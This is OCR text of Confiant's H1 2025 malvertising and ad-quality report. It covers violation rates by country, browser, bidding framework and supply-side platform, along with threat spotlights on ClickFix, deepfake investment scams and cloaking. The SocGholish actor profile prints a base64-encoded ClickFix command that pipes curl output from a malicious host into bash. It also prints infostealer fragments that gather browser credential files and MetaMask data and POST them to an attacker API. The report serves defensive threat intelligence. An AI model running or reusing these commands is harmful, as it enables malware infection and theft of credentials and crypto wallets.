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The Internet is built on
trust. Without trust,
there's no commerce,
No community, NO
creativity.

- Vint Cerf
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We've Got

Trust Issues...

Trust is the invisible foundation of the
ad-supported internet. Every click,
every impression, every dollar
exchanged depends on it. Trust isn't
static. It shifts as adversaries adapt.

What we face isn't just a handful of bad ads, but an
emerging dark ad tech economy that reinvests in
deception the way legitimate platforms reinvest in
innovation. In this world, ads are a vector for
scams, malware, and fraud at scale.

With technology, with media, with digital ads, the
line between real and fake keeps blurring. Al now
generates fraudulent ads faster than detection
systems can keep up, while malicious actors
coordinate attacks more sophisticated than the
industry has ever faced.

- Users accept risk
with every ad view

141

Advertisers stake their
brand reputation on
each impression

AVAAVAN

Publishers revenue
depends on trust

Enterprises face financial
and reputational risks
from scams

e

The cost is far from abstract. Cybercrime is
projected to drain $9.5 trillion globally in 2025%*,
with costs expected to reach $13.82 trillion by
2028 and $15.63 trillion by 2029.** Left
unchecked, exploitation scales faster than trust.

At Confiant, securing trust is at the heart of what
we do. What happens in an ad slot ripples outward,
shaping commerce, media, and the lives of
everyone online. That's why this issue of our
Malvertising and Ad Quality Index (MAQ) is framed
around trust: what it is, why it matters, and how the
industry can secure and sustain it.

If trust anchors the digital economy, cybersecurity
is the infrastructure that protects it. And it must
evolve as fast as the threats we face.

* Statista. "Global Cost of Cybercrime Projected to Reach $13.82 Trillion

by 2028."
** VikingCloud. "Cybersecurity Statistics: The State of Cybercrime in

2025 and Beyond.”

SSPs and DSPs

manage regulatory and .
reputational exposure

Regulators work to keep
exploitation from
outpacing protection
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In the time It takes you to
read this page, thousands
of people will see an ad
designed to scam them.
And several will fall for it,
potentially ruining their life.

The Confiant Malvertising & Ad Quality (MAQ) More than a routine pulse check, the MAQ

Index tracks how often that happens and why. serves as a benchmark for how risk, revenue,

Our biannual report measures the security and and reputation intersect across the digital

quality of digital ads in real time, from scams advertising economy.

and malware to misleading claims, across

hundreds of billions of impressions. Built for those shaping the future of
advertising — Ad Ops teams, executives,

Now in its 22nd edition, the MAQ connects six regulators, advocates, policymakers — it's a

months of data to evolving threat actor tactics resource for anyone working to raise the bar

and shifts in the ad supply chain. for a more secure and trusted Internet..

MAQ Index H12025
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The Big Picture:
Scale Matters

To understand the true state of ad
security, scale is essential. Confiant
analyzed 550 billion impressions from
January-June 2025 across tens of
thousands of premium sites and apps.
That's about 70 ads for every person on

Earth.

For historical context, this report also
references a normalized sample of
more than 1 trillion impressions from
2024, monitored across the same
premium publisher set.

All data was captured by Confiant's
real-time creative verification solution,
which measures ad security and quality
on live impressions (not sandbox
scans) across devices and channels.

Violation rates are calculated by
dividing the number of impressions
exhibiting a particular issue by the total
impressions monitored.

MAQ Index H12025 Confiant
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The Credibllity Crisis:
Why Security and
Quality Are Intertwined

A quality issue might seem like it
only interrupts the user
experience, but it can also
mislead or create confusion that
chips away at trust. Sometimes
the line between poor quality and
security risk is thinner than it
appears, which is why we
measure them side by side to see
the full impact on user
confidence.

Security Violations

Attempts to compromise the user through
the use of malicious code, trickery, and
other techniques.

Top issues include:

Malware & Phishing

Criminal Scams & Fake Software
Updates

Forced Redirects & Fake Ad Servers
High Risk Business Partners

Industry research underscores the stakes*:

e 95% lift in conversion for viewable ads
e 233% lift for brand-safe impressions

e 363% lift when impressions are fraud-free

In short: ads that are safe and high-quality don't just

avoid risk, they deliver stronger business value.

For the purpose of this report, we've defined
security and quality violations as follows:

*IAS, "20 Stats for Digital Advertising” 2024.

Quality Violations

Non-security issues related to ad behavior,
technical characteristics, or content.

Top issues include:

e Heavy Ads (including Chrome Heavy
Ad Intervention)
Misleading Claims
Video Arbitrage (formerly In-Banner
Video)
Undesired Audio
Undesired Video
Undesired Expansion

MAQ Index H1 2025
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Security and quality violations
aren’t abstract metrics.
They're lived experiences.

In H1 2025, 1in /8 ads put
users at risk. For the
average internet user, that
means encountering
malicious or deceptive ads
multiple times a week.

MAQ Index H1 2025 Confiant ©2025
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State of the
Industry
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In the first half of 2025,
the usual seasonal
pattern broke.

Security violations
stayed about 50% higher
than last year's baseline
across both quarters.

MAQ Index H12025 Confiant ©2025



@ CONFIANT

2024 VS. 2025 SECURITY AND QUALITY VIOLATION RATES

Threats Didn't Slow Down,
They Changed Lanes

While the overall number of security and quality Each day, millions of ad impressions are
violations may appear steady, the underlying threat compromised, eroding trust across the
landscape is shifting. Attackers aren't slowing down, ecosystem. Nearly 70% of users say they don't
they're finding new ways to bypass protections and trust online ads* and more than 40% actively
reach users. use ad blockers to avoid them**,

Security violations held steady at 0.32%, while Elevated security rates in Q2 suggest attackers
quality violations dipped slightly from 1.0% to are adapting their tactics, underscoring the
0.92%. At today's scale, even a "flat” rate still need for defenses that can keep pace.
represents more than 7 billion incidents in six

months. * Statista. “US Ad Blocking Reach”

**_Astra Security. “81 Phishing Attacks Stats”

Security

0.20%

202403 [ 202404 [ 2025Q1 [ 2025Q2
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SECURITY AND QUALITY VIOLATION RATES OVER THE YEARS

Security Shifted, But
Violations Persisted

Security violations at the top of 2025 hit their
highest half-year rate on record, staying more
than 50% above the previous annual average.

Crossing the 50% threshold isn't just a statistical
blip. It signals that short-term spikes are becoming
sustained industry challenges. Even as security
strategies shift, the underlying risks remain
stubbornly high.

Quality violations averaged 0.96%, driven largely
by heavy ads that slowed pages and undermined
user experience.

Security

0.21%

Il 2022

Il 2020 [J 2021

Quality

B 2023 2024

For advertisers, the effect is already visible.
Research shows that more than 60% of brands
say they would reduce or pull spend from a
partner after repeated exposure to unsafe
ads* At scale, this sentiment translates into
CPM pressure and inventory devaluation.

These numbers aren't just statistics, they
signal a persistent challenge. Which opens up
the question: does this moment represent a
new baseline for risk, or just a temporary
elevation in an already volatile landscape?

*|AS. “State of Brand Safety 2023"

0.90%

I H12025
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VIOLATION RATES BY COUNTRY

Even Global Borders
Struggle With Risk

Safe doesn't mean untouchable. In H1 The impact isn't limited to brand risk. In Japan, the

2025, Japan and Germany saw Af:t'on Improving Transparency and Falr.n.ess of
Digital Platforms, now extends to advertising

security violations triple, while services.* Platforms must disclose how they rank

France's rate quadrupled. content and ads with noncompliance, bringing
fines and regulatory orders.

By midyear, these markets had crossed

thresholds no region reached in 2024. Japan's * Ministry of Economy. Japan. “Act on Improving Transparency and Fairness of

quality violations jumped to 2.83% — a fourfold Dol Plettoupe’

leap. High-traffic moments like Japan's World

Expo and Europe’s tourism boom created new

openings for attackers to exploit.

B security [ Quality

3.00%

2.00%

1.00%

— I e —m

United States Canada France Germany

0.00%

3.00%

2.00%

1.00%

0.00%
Great Britain Italy Japan Spain
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VIOLATION RATES BY BROWSER

The Browser Myth:
Privacy # Safety

In H1 2025, Firefox posted the highest
security violation rate at 1.37% — up
nearly 70% from 2024. Known for
strong privacy controls, Firefox
underscores the gap between privacy
protections and true security.

Chrome, often criticized for data collection,
recorded the lowest security violation rate at
0.25%. Safari and Edge fell in between, with
patterns shaped as much by user demographics
and behavior as by the technology itself.

THE TAKEAWAY

A browser's reputation doesn't
always match its resilience.
Privacy alone doesn't

guarantee safety.

CONFIANT

Security Quality
1.00% _—
0.50% _ _ _—
Windows Windows Windows Android iOS Safari
Chrome Edge Firefox Chrome
1.00% ot SR
0.50% _—
mac OS Safari mac OS Chrome Android Facebook iOS Facebook
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VIOLATION RATES BY BROWSER

Shared Engines,

Shared Risks

Browsers built on the same rendering
engine inherit both strengths and
weaknesses. When an exploit hits the
engine, it can cascade across multiple
browsers in days, exposing millions

of users.

H12025 highlighted this clearly. Firefox's
violation rate rose to 1.37%, while Chrome's
stayed lowest at 0.25%. Safari and Edge sat in the
middle, shaped by both technical capability and
audience profiles.

&

CHROME

Confiant ©2025

For users, nuance matters little: a compromise
in one browser feels like a failure of the web
itself. The July Chrome zero-day security
issue* showed how a single crack in the
foundation can impact the ecosystem
overnight.

*Hacker News. "Google Releases Critical Chrome Update”

FIREFOX



https://thehackernews.com/2025/07/urgent-google-releases-critical-chrome.html?

Your ad framework is part
of your brand promise.
Users don't care what
you're running or how
you're blocking.

They care if they feel safe.

NNNNNNNN
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VIOLATION RATES BY BIDDING FRAMEWORK:

Bidding Frameworks
Shape Exposure

Your ad framework is instrumental to
trust. Users don't care whether you run
Prebid, Open Bidding, or Amazon TAM
— what matters is whether the
experience is safe.

For publishers, the choice does matter. Open
Bidding includes baseline malware scanning, while
Prebid leaves more of the work to the publisher.
That flexibility shows in the data: violation rates
were consistently higher where Prebid was the
primary framework.

B security [ Quality
0.81%
0.01% 0.02%
Amazon TAM

0.72%

Open Bidding (Google)

The pattern is clear in H1 2025: more
integration points create more surface for
risk. Managed or walled-garden systems
offer tighter controls (though with less
transparency). Either way, the trade-offs are
visible. Where frameworks diverge, trust and
revenue follow.

The difference is measurable. Campaigns
without robust anti-fraud protection saw
fraud rates 15x higher than protected ones
(10.9% vs. 0.7%).*

* Integral Ad Science.” Media Quality Report: 20th Edition, May 2025"

1.30%

Prebid

MAQ Index H1 2025
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SSP
Rankings
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The Supply Side:
Small Group, Big Stakes

A Select Few Set the Terms:

Over 100 SSPs compete for
publisher attention, yet 13
control the majority of global
impressions. This concentration
means a small group of
companies determine what
billions of people see — and
whether those moments are safe
or harmful.

Scale Amplifies Everything:

When a major provider tightens security, it
can instantly improve safety for millions.
When it fails, the damage scales just as
rapidly across sites, geographies, and
audiences in hours. Market concentration
turns SSP choice into more than an
operational decision; it's a trust decision.

What's at Stake:

Premium advertisers pay 15-30% more for
verified safe inventory. That premium
disappears when violation rates rise, and so
does the willingness of top brands to invest in
certain partners. Poor security performance
doesn't just risk technical downtime; it erodes
yield, sparks regulatory scrutiny, and forces
publishers to explain to users why unsafe ads
got through.

Why Trust Matters:

Not all supply-side platforms manage risk the same
way. In H1 2025, violation rates varied dramatically.

Some SSPs kept incidents below 0.2%, while
others exceeded 1%. At today's scale, that
difference translates into millions of risky
impressions every single day.

For publishers, these
gaps determine whether
premium demand flows

—~— freely or comes with added
scrutiny.
50 For advertisers, they
@ ., shape decisions about
- where brand budgets feel

Df safe.

For users, the fallout lands
on them when their trust is
violated.

MAQ Index H1 2025
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In digital advertising,
your partners'
performance becomes
your reputation.

MAQ Index H1 2025 Confiant ©2025



SECURITY VIOLATION RATE BY SSP

Trust Is Not Evenly
Distributed

Trust in the digital ad ecosystem isn't The impact runs through the supply chain.

uniform. Some bartners deliver Buyers shift spend toward cleaner supply.
) P Publishers tied to higher-violation SSPs face

near-perfect safety at scale, while stricter buyer requirements and tighter
others expose users, publishers, and CPMs. For advertisers, a partner’s profile
buyers to significant risk. becomes their profile:

In H1 2025, exposure varied by ~300x%. The The cleanest SSPs demonstrate
best SSP held violations to just 0.005% (1in that safety and scale can coexist,
every 20,000 impressions), while the worst while others are at risk of eroding

climbed to 1.46% (1in every 68 impressions). . .
( Y P ) advertiser confidence.

Some SSPs have shown that near-zero
incidents are achievable at scale. Others are
exposing buyers, publishers, and users to risks
200 times higher.

1.46%

. Average Security Rate

Industry Average (0.32%) 033% 0.34% 0.36%

0.079% o.12/o
0.005%, 0.007% 0.01% 0-02% 002% 003%
. (o} » .

SSP-E SSP-G SSP-S OpenX Share- SSP-C SSP-M SSP-P SSP-H SSP-T SSP-I SSP-O Google
through
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Security Progress

Isn't Linear

Security in digital advertising never
stands still. Some platforms are
setting new benchmarks for trust and
safety, while other struggle to keep
up, creating wide disparities in
exposure across the ecosystem.

In H1 2025, four of the top five SSPs saw
performance worsen. Google jumped from
0.88% to 1.46% after a hijacked campaign
pushed fake Google Ads and Authenticator sites
(Malwarebytes, 2025).

One bad day can erase months of progress.
Some SSPs spiked to daily maximums of 7.39%
—about 1in 14 ads.

0.12%

H2 2024 H12025
0.34%
0.03% 0.01% 0.03%
SSP-S SSP-T

The pattern isn't limited to ad tech. In 2024,
70% of security leaders reported a major
cyber attack. With programmatic spend on
pace to hit $200B by 2026* and consumer
scam losses already topping $10B
annually**, advertising is now part of the
broader cybersecurity battlefield.

Regulators are taking notice. Under the EU's
Digital Services Act, platforms must track
daily maximums, not just averages, holding
them accountable for peak exposures.

The lesson is clear here: security progress is
dynamic, and staying ahead requires
continuous monitoring, adaptation, and a
commitment to scale-driven safety.

*Arctic Wolf. 2025 Cybersecurity Trends Report

**eMarketer. Programmatic Advertising Forecast and Ad Tech Trends

1.46%

0.88%
0.74%

0.36%

0.29%

SSP-O Google

MAQ Index H1 2025
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When Peaks
Become Pain

Even brief surges in violations can have Criminals move in hours; recovery takes
outsized consequences. Some SSPs spiked as months. Daily spikes trigger immediate
high as 7.39% — about 1in 14 ads. That's a fallout: blocklists, clawbacks, compliance
150x gap between steady baselines and peak reviews, and long-term damage to revenue
exposure. While averages may look and relationships.

manageable, daily spikes reveal the moments
when risk and exposure is at its highest.

B seCcURITY ] MAX DAILY SECURITY

Peak Date
Google AdX  3/20 7.39%
SSP-B 6/25
SSP-C 3/20
SSP-E 5/26
SSP-G 4/29 6.10%
SSP-H 4/7
SSP-| 1/28
SSP-K 5/31
SSP-M 6/26
SSP-0 6/23 A45%
SSP-P 2/4
SSP-S 5/14
SSP-T 2/12

3.76%
0,
0.70% 0.85%
0.27%
0. 14%

0.13% 0.13%

o 005% ¢ 003%

I 3.54%

SSP-E SSP-G SSP-S OpenX Share- SSP-C SSP-M SSP-P SSP-H SSP-T SSP-I SSP-O Google
through
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Trust isn't
measured In years.

It's measured In
Incidents.
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Quality
Trends
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MOST BLOCKED AD CATEGORIES

Ad Quality Is Improving
But Gaps Remain

Quality violations — undesired audio, Real-world impact

mISIIGadmg Clalms' forced expansions — A long-run study of 35M Pandora users* found
don't always deliver malware, but they that more ads per hour reduced listening
steadily chip away at user trust and behavior, shortened session times, and drove

brand goodwill. This quarter's numbers more users to paid, ad-free subscriptions.

show modest improvement over last

yearr yet the gap between beSt and * qui Huang., Reiley & Riabov. “I\./Ieasuring.Consumer Sensitivity to
WO rSt performers remains Wlde ﬁ\ltjgrlgeAt(Ij?{Vaedrit(l)s"mg: A Long-Run Field Experiment on Pandora
Key stats
« Weighted average: 0.96 % 1.69%
« Above-average performers: 7 of 13 SSPs 1.66%

1.55%

1.33%

Industry Average (0.96%)

Google SSP-I SSP-O SSP-G Share- SSP-M SSP-C SSP-T SSP-P SSP-H OpenX SSP-E SSP-S
through
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1in 69 ads delivered by
Google was a security
threat. When you combine
security and quality
violations, the rate jumps

to1in 55.

That'’s the equivalent of scrolling your feed and
hitting a bad ad every single minute.

MAQ Index H1 2025 Confiant ©2025
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Blocking Patterns Mirror
Market Pressure

Publisher blocking choices mirror
economic shifts and regulatory
flashpoints. In H1 2025, three categories
dominated blocked ads: gambling,
pharmaceuticals, and cryptocurrency.

Confiant allows publishers to block creatives
across 100+ different ad categories.

Blocked = impressions prevented for policy/quality
reasons. Category taxonomy aligned to MAQ
Quality/Policy definitions.

*"U.S. sports gambling revenue” / Statista
**FDA Enforcement Trends

Key points:

(44%) — highest level on record.
U.S. gambling ad spend topped $2B in 2024,
fueled by sports betting and rising scrutiny.*

(12%) — driven by
concerns over misleading claims. The FDA
prioritized online drug ad enforcement in
2024 .x*

(11%) — surged from
niche to mainstream. Crypto scams cost
victims $5.6B in 2023, underscoring ad
integrity risks.***

*** #2023 Cryptocurrency Fraud Report” / FBI Internet Crime Complaint Center (IC3) 44%,
18%
1% =
5 4%
2% 2% 2% 2% 2%
Other Tobacco & Health & Underwear Alt. & Natural News Alcoholic Crypto Pharmaceutical Gambling
Smoking Medical & Lingerie Medicine Beverages Drugs

Products Services

MAQ Index H12025 Confiant ©2025
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ALLOWED VS. BLOCKED VIOLATION RATES

Blocking Rates
Vary Widely

SSP block rates range from 0.23% to
0.93% of impressions, with an industry
average of 0.44%.

Stricter filtering protects users and
partners, but may trim short-term fill.
Looser filtering preserves revenue in the
moment but increases long-term risk
and reputation cost.

I ALLOWED
VIOLATIONS

0.23% | 0.23% | 0.23%

Share- SSP-G
through

Jl BLOCKED
VIOLATIONS

0.44% 0.50%

SSP-I Google SSP-O SSP-T SSP-P SSP-M SSP-C SSP-S

SSP-H SSP-E

OpenX

MAQ Index H12025
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MOST BLOCKED AD CATEGORIES

Quality Patterns Reveal
Platform Priorities

Across SSPs, the mix of quality Why it matters:
violations reflects where platforms

- ° Heavy Ads slow pages and drive
choose to enforce, optimize, or tolerate. y ek

bounces.

e Auto video hijacks attention without
consent.

e Misleading claims erode credibility
and manipulate urgency.

Examples:

Heavy Ads dominate across most SSPs.

Google's main issue is Misleading Claims.
Sharethrough shifted dramatically: in 2024, over
half its issues were auto video — today, it's among
the best-controlled.

Even without malware, these formats
reduce engagement and damage
brand trust.

Google
SSP-|
SSP-O
SSP-G
Sharethrough
SSP-M
SSP-C
SSP-T
SSP-P
SSP-H
OpenX
SSP-E

SSP-S

0.50% 0.50% 1.00% 1.50% 2.00%
Heavy Ads Misleading Claims [l Auto Video  [Jj Other Issues
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Where Trust
Meets Scale

The sweet spot is the low-violation, Google dominates in overall volume but sits in

high-scale quadrant: reach without the high-security-violation zone. By contrast,
| LS | SSP-G, Sharethrough, SSP-M, and SSP-C
sacrificing safety.

operate at lower violations with moderate
scale, earning a reputation premium with
buyers and brands.

Above-average
2.00% Security

1.50% OpenX :
@ ssp+
: The area of each circle corresponds
. SSP-P : to the size of the SSP in terms of
1.00% [ : L impressions delivered
: @ SSP-T
- SSP_C ................. .‘ ................................................................................................

Above-average Quality

.SSP—M N
Sharethrough
050% [~ SSP-G Hisa SSP-O

Google

0.00%

0.50% 1.00% 1.50%
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Threat
Patterns
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Hacking is not magic.
There are methods.
And they are concrete.

- Eva Galperin
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2025 SCAM TACTICS

Evolving Threats
Redefine Risk

Cybercriminals started 2025 with These groups now rotate their methods like

familiar tactics. Fake download marketing campaigns, pushing one approach
hard before switching to stay ahead of security

updates and forced redirects defenses. The constant rotation creates an

dominated the first half of the year. But unpredictable landscape where successful

by late spring they'd shifted to newer attacks can quickly reach millions of users and
I

disrupt digital advertising markets impressions

tools like Al deepfakes and social delivered per threat.

engineering Kits.

Il CLOAKING I FORCED REDIRECT

B CRIMINAL SCAMS AD STACKING

I FAKE AD SERVER PIXEL STUFFING

I FAKE DOWNLOAD PHISHING SCAMS
UPDATE

JAN FEB MAR APR MAY JUN JuL
(2025)
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Key Threat Types And

Their Impact

In H1 2025, the ad ecosystem was exploited to deliver a

wide range of harm to internet users exposed to ads.

These threats included malware-as-a-service payloads like
infostealers, as well as large-scale phishing campaigns, tech
support scams, and investment fraud. Threat actors
employed increasingly sophisticated techniques — such as
cloaking, compromising advertiser websites, and taking over
ad accounts — to reach audiences and evade detection.
Here are the top 4 threats:

CONFIANT

Threat type Tactics Business Impact Persistence Key Actors User Harm

: Malware-as-a- : ClickFix, : Erodes user trustand : High — active for : SocGholish, : Malware infection via :
' Service : Website . partner confidence, : 5+ years, . ClearFake, : clipboard hijack;
: . Compromises, : leading to compliance : constantly . HEX6CS, : consumer device

. ClickFix, : actions and lost : adapting . BellaTrix s

. Cloaking . revenue. : '
. Investment . Cloaking, Al : Undermine ad . High — growing . FaiKast, . Direct financial loss,
. Scams . deepfake ads : confidence and invite : fastin 2025 with : Up481 : reputational damage
: : and : scrutiny. Al-driven : Al adoption : . for platforms

. celebrity/news : impersonation scams :

. impersonation : causing $10K+ losses

: . rose 4x since 2020.

RS
: Tech Support : Cloaking, . Exploit user trust in : Medium-High —  : QuizTSS, © Financial
: Scams . Domain Churn : legitimate ads through : regional focus, : WildeTSS, . exploitation, remote
: ' . false system alerts . persistent tactics : PiranhaCPF, : GIEEEEE
: and urgent warnings. : : Aalgmor :

. Forced . Forced : Degrade user : High — resilient : ScamClub, : Phishing, Tech
' Redirects . Redirects, : experience and trust. : infrastructure, : DCCBoost, : Support Scams,
: . Obfuscation, : Inflate invalid traffic  : repeat offenders  : D-Shortiez : Giveaway scams

Domain Churn

. and drive churn that
. impacts yield and

: advertiser

. relationships.
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Threat Spotlight:

ClickFix

WEAPONIZED SOCIAL ENGINEERING

What It is:

ClickFix is not a single toolkit, but a
weaponized social engineering attack
used by multiple bad actors to deliver
Maas payloads. It mimics everyday user
prompts, like captchas, that trick people into
pasting and running malicious code.

How It Works:

Instead of exploiting software
vulnerabilities, ClickFix exploits human trust
in familiar UX patterns:

Victim clicks an ad and lands
on a compromised or cloaked
landing page

l

User sees fake captcha,
browser update, or PDF
download prompt

l

Victim falls for social
engineering and a keyboard
hijack quietly copies malicious
code to their clipboard

l

User opens terminal and pastes
script, triggering malware
download without realizing

Threat clusters using ClickFix
in Aug 2025:

SocGholish - Stealthily blends into adtech
ClearFake - Etherhiding

BellaTrix - Multi-staged redirects
KongTuke-> Fake captcha

Cloaked campaigns through display ads -
Uncloak to ClickFix payloads

Scale and Impact:

Social engineering is the #1 cause of
breaches — 74% of security incidents
globally involved the human element.*
Currently popular payloads include
infostealers like LummaStealer and AMOS
Stealer.

*Verizon. 2024 Data Breach Investigations Report (DBIR)

Industries Targeted:

Consumer devices & apps, financial
services (banking credentials, crypto
wallets), e-commerce & retail (fake delivery
notices as lures).

Why It Matters:

ClickFix bypasses technical defenses
entirely by exploiting human trust in
everyday interfaces. Multiple threat
clusters are now using it.
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https://www.verizon.com/about/news/2024-data-breach-investigations-report-vulnerability-exploitation-boom?

Threat Spotlight:

CONFIANT

Investment Scam Deepfakes

SYNTHETIC TRUST AT SCALE

What ltls:

Al deepfakes are moving beyond
entertainment into fraud. Criminals generate
convincing video and audio impersonations
of trusted figures including financial experts,
journalists, or even doctors to push

scams at scale.

Scale and Impact:

Fraud losses facilitated by generative Al
technologies are predicted to escalate to
$40 billion in the United States by 2027.*
Impersonation scams causing $10K+
losses rose 4x from 2020-2025, now
powered by Al personas.**

How It Works:

By cloaking their ads and mimicking public
figures or trusted news sources, bad actors
exploit familiarity to make scams look
credible:

+

+

Ad slot purchased on
legitimate platform

l

Al deepfake video generated
using trusted figure's likeness

|

Video ad served to
unsuspecting users

|

Scam promoted using
borrowed credibility

8!
‘\\\\\(.

Industries Targeted:

Financial & investment (deepfake "experts"
front fake investment platforms), politics &
news (impersonations spread
disinformation), healthcare (fake doctors
promoting miracle cures).

Why It Matters:

People trust familiar faces. When ads blur
truth and fraud, trust in advertising
diminishes further. Detection points include
ad verification, Al-content detection, and
brand safety filters, but the technology is
rapidly outpacing defenses.

* Deloitte. Deepfake fraud and the rise of generative Al: How financial
institutions can prepare for a $40 billion problem.

** Federal Trade Commission (FTC).
Imposter Scams: How Al Is Supercharging a Growing Threat.
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https://www2.deloitte.com/us/en/insights/industry/financial-services/financial-services-industry-predictions/2024/deepfake-banking-fraud-risk-on-the-rise.html
https://www2.deloitte.com/us/en/insights/industry/financial-services/financial-services-industry-predictions/2024/deepfake-banking-fraud-risk-on-the-rise.html
https://www.ftc.gov/system/files/ftc_gov/pdf/Imposter-Data-Spotlight-August-2025.pdf
https://www.ftc.gov/system/files/ftc_gov/pdf/Imposter-Data-Spotlight-August-2025.pdf

Threat Spotlight:
Cloaking

INDUSTRIAL-SCALE DECEPTION

WhatltIs:

Cloaking provides scammers with an
industrial-scale infrastructure and a suite of
tools to run cloaked malvertising campaigns
that evade detection. These cloaked
campaigns result in various user harm, such
as investment scams, phishing attacks,
malicious landing pages, gambling sites, and
fakes new stories about health products.

Scale and Impact:

"It's an arms race where cloaking services
help attackers control who sees what
online, masking malicious activity and
tailoring content per visitor in real time."*
These services exploit platform loopholes
like "social casino" ads to bypass policies.

*SlashNext. Cloaking-as-a-Service Set to Reshape the Phishing
Landscape.

How It Works:
Deception rented at scale:

Clean creative submitted to
ad platform for review

|

Cloaking engine activated to
show different content to
users vs. reviewers

|

Real users served scam
content while reviewers see
compliant ads

|

Fraud campaign scales
across multiple platforms and
regions

6 B

N

O
()
(I

Industries Targeted:

Gambling (cloaked funnels spread globally
across EU, Australia, Azerbaijan,
Kazakhstan), social casinos (fake
"play-for-fun" sites as fronts for real-money
casinos), health & supplements (cloaked
wellness scams slip through review).

Why It Matters:

Review systems see clean creatives while
users get scammed. This turns fraud into
repeatable infrastructure rather than
one-off campaigns. Detection requires
real-time landing-page validation and
anomaly monitoring, but cloaking evolves
faster than most defenses.

Representative Actors Observed:
ScamClub, DCCBoost, D-Shortiez*

*Full technical profiles in Appendix A
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https://betanews.com/2025/07/17/cloaking-as-a-service-set-to-reshape-the-phishing-landscape/
https://betanews.com/2025/07/17/cloaking-as-a-service-set-to-reshape-the-phishing-landscape/

CONFIANT

Detalled
Threat
Analysis

This section profiles a deeper security analysis into
top scam types and the actors behind them in H1
2025. We start with the threat type, then highlight
representative actors driving those campaigns.
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1.

Threat type:
Malware-as-a-Service

Actors profiled here:

1.
2.
3.
4.

SocGholish
ClearFake
HEX6C6
BellaTrix




CONFIANT

° A veteran threat actor that built its reputation on fake
browser updates to deploy Maa$S payloads, which
lead to subsequent infections like infostealers,

ransomware, and credential theft tools.

l l l

hallsautosales.com

Verify you are human by completing the action below. e’
. A2

You are using an older version of Firefox
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SocGholish

A veteran threat actor that built its reputation on fake
browser updates to deploy Maa$S payloads, which lead
to subsequent infections like infostealers,
ransomware, and credential theft tools.

CONFIANT

Actor overview:

e Threat type: MaaS; selling access to
compromised sites.

e Persistence: Active for 5+ years; consistently
high-volume in malvertising telemetry.

Malware recently deployed:

e Ransomware: WastedLocker,
RansomHub, LockBit

Hades
e Banking Trojan: Dridex

Primary TTPs:

e Website compromises: attackers
compromise legitimate sites to host or deliver
malvertising and payloads.

e ClickFix: a social engineering attack that
tricks users into unknowingly execute
commands or downloads via fake CAPTCHAs,
“fix" prompts, or copy-paste steps.

e Maas payloads: commodity loaders and
payloads rented or sold for rapid, scalable
campaigns.

e Domain masquerading: actors create or
hijack domains (Chrome, Firefox, Edge) that
closely mimic legitimate brands to trick users
and bypass basic filters.

o Infostealers/Loaders: AZORult,
Gootloader, DoppelPaymer, BLISTER
e Credential Theft: WebDAV/SCF

e RATs/Remote Access: NetSupportRAT,

ClickFix Payload:

Base64 encoded bash script

echo

aW8uY29tL1YgfCBub2h1cCBiYXNoICY=" |
base64 -d | bash

Decodes to

curl -s http://d.meshsorterio[.]Jcom/V | nohup
bash &

Which finally sets up the download of a

malicious executable — an infostealer payload

"Y3VybCAtcyBodHRwQIi8vZC5tZXNoc29ydGVy

hunting for Metamask (Crypto wallet) and
other logins with >

set fire_wallets to {{"MetaMask",
"webextension@metamask.io\\\":\\\""}

set myFiles to {Maa$ payloads - commodity
scalable campaigns. "/cookies.sqlite",
curl -X POST -H \"X-Bid: " & buildID & "\" -F

\"lil-arch=@/tmp/out.zip\"
https://meshsorterio.com/api/data/receive")

loaders and payloads rented or sold for rapid,

"[formhistory.sqlite", "/key4.db", "/logins.json"}
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ClearFake

CONFIANT

A sophisticated threat actor that exploits WordPress plugin vulnerabilities
to inject malicious JavaScript. Its evolved using EtherHiding techniques to
abuse smart contracts on the Ethereum blockchain to hide payloads and
dynamically serve malicious content.

Ad Creative

Zahnarztpraxis
Dr. Rudolf Gottschild

ur.
Rudolf
Gottschil
d
Gesunde
Zahne,

schones
Lacheln!

Coronavirusinformation

Wir sorgen uns um lhre Gesundheit und haben unser Hygienekonzept ar NEU ist
aus aktuellem Anlass und hygienischen Griinden, dass Patienten mit Erkéltungssymptomen

getrennt zu besonderen Zeiten behandelt werden. Bitte informieren Sie uns telefonisch

vorab und kommen Sie nicht unangemeldet in die Praxis.

R [o Elements Console Sources Network Performance Memory Application >> ©4 Asg28 M1 @ : X
® Y Q Preserve log | [J Disable cache | Nothrotting ~ | <& | L & o]
Y Filter Invert More filters v

All Fetch/XHR || Doc || CSS || JS || Font || Img || Media || Manifest || Socket || Wasm || Other

Big request rows Group by frame
Overview | Screenshots
10,000 ms 20,000 ms 30,000 ms 40,000 ms 50,000 ms 60,000 ms 70,000 ms 80,000 ms 90,000 ms 100,000 ms 110,000 m
Name X  Headers Payload Preview Response Initiator Timing
£ jquery.min.js?ver=3.7.1 ~ Request Payload View parsed

[©] jquery-migrate.min.js?ver=3.4.1
{"method":"eth_call","params": [{"to":"0x33830cCEc1a25a55Fc971B127Fc41188F3C349b0","dat

Logo_1.png .
a":"0x6d4ce63c"} "latest"] "id":97,"jsonrpc":"2.0"}

= cache_2463909394-1.png
7 IMG_1182-1024x768-1.jpeg
[©] style.min.js?ver=4.11.10

[2] data:text/javascrip...

€ data-seed-prebsc-1-s1.bnbchain.org
[©] data:textfjavascrip...

€ data-seed-prebsc-1-s1.bnbchain.org
€ data-seed-prebsc-1-s1.bnbchain.org
€ data-seed-prebsc-1-s1.bnbchain.org
[2] webpack.runtime.min.js?ver=3.31.2
[©] frontend-modules.min.js?ver=3.31.2
(2] core.min.js?ver=1.13.3

[ frontend.min.js?ver=3.31.2

[2] jquery.smartmenus.min.js?ver=1.2.1
[©] jquery.sticky.min.js?ver=3.30.0

[2] imagesloaded.min.js?ver=5.0.0

IOC Samples (Representative / Redacted

chrome-updatel[.]top - loader payload (Feb 2025).

secure-firefox[.]xyz - fake update (Mar 2025).
Contract address (redacted): OxAlde...d2e.

(Full IOC set, decoded payloads, and transaction IDs available in gated analyst dataset)
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@ CONFIANT

A sophisticated threat actor that exploits WordPress plugin
vulnerabilities to inject malicious JavaScript. Its evolved using

ClearFake

EtherHiding techniques to abuse smart contracts on the Ethereum
blockchain to hide payloads and dynamically serve malicious content.

Actor Overview:

e Threat type: Malware-as-a-Service.

e Persistence: Documented since at least
2017; still recurring in H1 2025.

Primary TTPs:

e Website compromises: attackers
compromise legitimate sites to host or
deliver malvertising and payloads.

e ClickFix: a social engineering attack
that tricks users into unknowingly
execute commands or downloads via
fake CAPTCHASs, “fix" prompts, or
copy-paste steps.

e Maas payloads: commodity loaders
and payloads rented or sold for rapid,
scalable campaigns.

e EtherHiding: abusing blockchain
platforms to hide or host C2 logic and
payload fragments.

Malware:

e LummaStealer
e AMOS Stealer (macOS-specific)
